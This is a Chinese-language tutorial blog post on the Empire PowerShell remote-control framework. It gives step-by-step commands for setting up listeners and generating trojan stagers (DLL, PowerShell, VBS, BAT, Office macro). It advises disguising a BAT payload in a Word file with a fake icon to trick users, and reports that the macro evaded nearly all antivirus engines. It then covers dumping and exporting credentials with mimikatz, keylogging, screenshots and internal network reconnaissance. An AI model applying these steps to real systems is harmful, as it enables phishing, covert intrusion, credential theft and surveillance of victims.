PowerShell滲透--Empire

0x00 簡介
Empire是一款針對Windows平臺的,使用PowerShell腳本做爲攻擊載荷的滲透攻擊框架代碼具備從stager生成,提權到滲透維持的一系列功能,無需powershell.exe就可使用powershell的代理功能還能夠快速在後期部署漏洞利用模塊,內置模塊有鍵盤記錄,Mimikatz,繞過UAC,內網掃描等,能夠躲避網絡檢測和大部分安全防禦工具,相似於Meterpreter,是一個基於PowerShell的遠控木馬( www.powershellempire.com)
 
0x02 安裝
 
0x03 使用
help 查看幫助
  1. 設置監聽
    1. listeners #進入監聽線程界面
    2. uselistener #設置監聽模式
    3. info #查看具體參數設置
    4. set #設置相應參數
    5. execute #開始監聽
uselistener 用來設置監聽模式
uselistener <tab> <tab> 查看可使用的監聽模式
uselistener http 採用http監聽模式,輸入info 查看具體參數設置
Required 爲 true 的參數都是須要設置的
set Name Micr067 #設置任務名稱
set Host 192.168.190.133 # 設置主機IP(Empire 所在服務器的地址)
execute # 執行
參數設置好後,能夠在執行以前使用info 檢查參數配置是否正確
# 須要注意的是Empire不一樣於metasploit,Empire命令是區分大小寫的
輸入back能夠返回上一層,也就是listeners 界面,
list 列出當前激活的 listener
 
  1. 生成木馬
    1. usestager #設置模塊
 
使用 usestager 命令設置生成木馬的模塊
usestager <tab> <tab> 查看全部可以使用的木馬生成模塊
其中 multi 爲通用mok,osx 爲 Mac操做系統的模塊,windows 就是windows的模塊。
(1) dll 模塊
usestager windows/dll # 選擇dll模塊
info 查看一下須要設置的參數信息
這裏咱們須要設置一下listener,而後 execute 執行,木馬生成目錄 /tmp/launcher.dll
(2) launcher
若是隻須要簡單的powershell 代碼,在設置完相應的參數後,可直接在監聽器中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼,
輸入back 返回到 Listener 界面,輸入 launcher powershell Micr067 來生成一個payload
而後將生成的payload 在目標機器上執行,便可得到 session
能夠看到Empire 已經上線了一個名爲 GL8DBS32 的主機,
輸入 agents 能夠查看已經得到的session,這裏的agents 至關於 msf 中的 sessions -l
此時的代理名GL8DBS32 是隨機生成的,爲了方便記憶,咱們能夠經過rename對其重命名
rename <Old Name> <New Name>
rename GL8DBS32 PC2
(3) launcher_vbs
usestager windows/launcher_vbs # 設置launcher_vbs木馬
set Listener micr067
execute
當在目標機器上執行vbs木馬,便可得到session,
固然也能夠在配置好參數後返回 listener 經過 launcher powershell micr067 生成base 64代碼運行
(4) launcher_bat
usestager windows/launcher_bat
set Listener micr067
execute
在目標主機上運行生成的launcher.bat,成功得到一個新的session
爲了增長迷惑性,能夠將bat文件插入一個office文件(word/excel)中,依次選擇插入---對象---選擇「由文件建立」---經過瀏覽「選定bat文件」---勾選「顯示爲圖標」---「更改圖標」從而得到更好的迷惑性,
將圖標更改成word圖標,更改文件顯示名,能夠得到更好的迷惑性,此處沒word圖標就湊活着用吧!
額,要是改成word圖標簡直完美。
當目標機器用戶點擊了word中的附件,便可觸發運行bat,kali成功又得到一個新session
(5)Macro 木馬
usestager windows/macro
set Listener micr067
execute
 
將生成的宏文件添加到office文件中,打開word文檔,點擊「試圖」,選擇「宏」,「宏名」隨便起,宏位置選擇當前office文件,單擊「建立」會彈出VB編輯界面。
將原來的代碼刪除,將macro宏文件代碼複製粘貼到其中,另存爲「word 97-2003文檔」
 
word 97-2003文檔
將修改好的word發送到目標機器,當用戶點擊觸發便可運行宏病毒,當用戶點擊啓用宏內容時,
服務端將接收到session
因爲在物理機上安裝有殺毒軟件,在物理機上打開word,服務端成功得到session,短期內殺軟未報毒,
當用戶點擊了「啓用內容」按鈕,下次打開word會自動運行宏病毒,再也不彈出提示。
殺軟反應仍是很遲鈍的,慢了7,8分鐘,應該是本地病毒庫沒有匹配到特徵在雲端分析的
將樣本上傳virustotal進行分析,57家只有一家可以準確識別該宏病毒,
除了白利用,這種效果仍是很理想的。
另外一款威脅分析平臺檢測文件爲安全。
 
 
  1. 鏈接主機
    1. agents #列出當前已鏈接的主機
    2. interact #鏈接主機
    3. remove stale #刪除失效主機
    4. help agentcmds #查看經常使用命令
    5. 使用CMD命令時,要使用」shell+命令」
 
使用agents 列出當前已經鏈接的主機,Username帶(*)說明是已經提權成功的主機。
interact <主機名> # 使用 interact 鏈接主機,主機名能夠用tab補全
 
使用 help agentcmds 查看經常使用命令
嘗試一下Empire內置的 mimikatz 模塊,輸入 mimikatz 命令,使用mimikatz 須要管理員權限,因爲物理主機裝了殺軟,提權會被殺軟攔截,這裏使用的是payload域內的一臺 win7 靶機。
creds 命令能夠自動過濾、整理出獲取到的用戶密碼。
當內網抓取到的密碼比較多,比較亂的時候,能夠經過 命令對 hash/plaintext 進行排列、增長、刪除、導出等操做,
將 憑證 導出 ,輸入 creds export /root/pc2.csv
pc2.csv.csv
在實際滲透中,總會出現部分主機會話丟失或者失效的狀況,
使用 list stale 命令 列出已經丟失的反彈主機,而後輸入remove stale 命令刪除已經失效的主機
其餘命令:
Bypass UAC 提權、SC 截圖、Download 下載文件 、Upload 上傳文件。。。
 
  1. 信息收集
    1. search module #搜索須要使用的模塊
    2. usemodule powershell/collection+Tab #查看完整列表
    3. 經常使用模塊
      1. usemodule powershell/collection/screenshotàexecute #截屏
      2. usemodule powershell/collection/keyloggeràexecute #鍵盤記錄
      3. usemodule powershell/collection/clipboard_monitor #剪貼板記錄
      4. usemodule powershell/situational_awareness/network/powerview/share_finder #列出域內全部共享
      5. usemodule powershell/situational_awareness/host/winenum #查看本級機用戶,域組成員系統基本信息等
 
usemodule <tab> <tab> # 查看全部模塊
usemodule powershell/collection/ <tab> <tab> # 查看collection模塊具體功能
屏幕截圖
usemodule powershell/collection/keylogger
截屏結果保存在目錄 Empire/downloads/主機名/screenshot
 
鍵盤記錄
usemodule powershell/collection/keylogger
set Agent PC2
execute
鍵盤記錄結果保存在目錄 Empire/downloads/主機名/agents.log
列出域內全部共享
powershell/situational_awareness/network/powerview/share_finder
 
查看本機用戶,域組成員系統基本信息
usemodule powershell/situational_awareness/host/winenum
 
列舉系統中全部有用信息,報告各類日誌、RDP登陸信息等
usemodule powershell/situational_awareness/host/computerdetails*
 
ARP掃描
usemodule powershell/situational_awareness/network/arpscan
set Agent PC2
set range 192.168.190.1-192.168.190.254
execute
 
dns信息獲取
usemodule powershell/situational_awareness/network/reverse_dns
 
顯示當前內網dns服務器地址
usemodule powershell/situational_awareness/host/dnsserver
 
查找域管登陸服務器IP
usemodule powershell/situational_awareness/network/powerview/user_hunter
相關文章
相關標籤/搜索